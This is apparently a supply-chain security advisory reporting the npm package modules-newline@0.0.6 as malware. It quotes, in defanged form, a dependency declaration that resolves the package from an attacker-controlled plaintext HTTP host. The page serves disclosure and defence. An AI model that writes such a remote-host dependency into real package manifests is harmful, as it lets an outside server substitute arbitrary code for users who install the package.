LWA-2026-11552 confirmed malware

modules-newline@0.0.6

Malicious code in modules-newline (npm)

T1195.002 · Compromise Software Supply ChainT1195 · Supply Chain Compromise

Analysis

The package declares a dependency on itself resolved from a non-registry plaintext HTTP host: dependencies and devDependencies both specify "modules-newline": "hxxp://pack[.]nppacks[.]com/npm/modules-newline". Installing this package redirects resolution of the modules-newline dependency away from the npm registry to an attacker-controlled HTTP server, which can serve arbitrary code in place of the package. The bundled code is a Babel plugin, but the dependency declaration is a supply-chain substitution vector.

analyzed by
Leitwacht
first seen
Aug 22, 2026, 10:58 PM
analyzed
Aug 22, 2026, 10:58 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.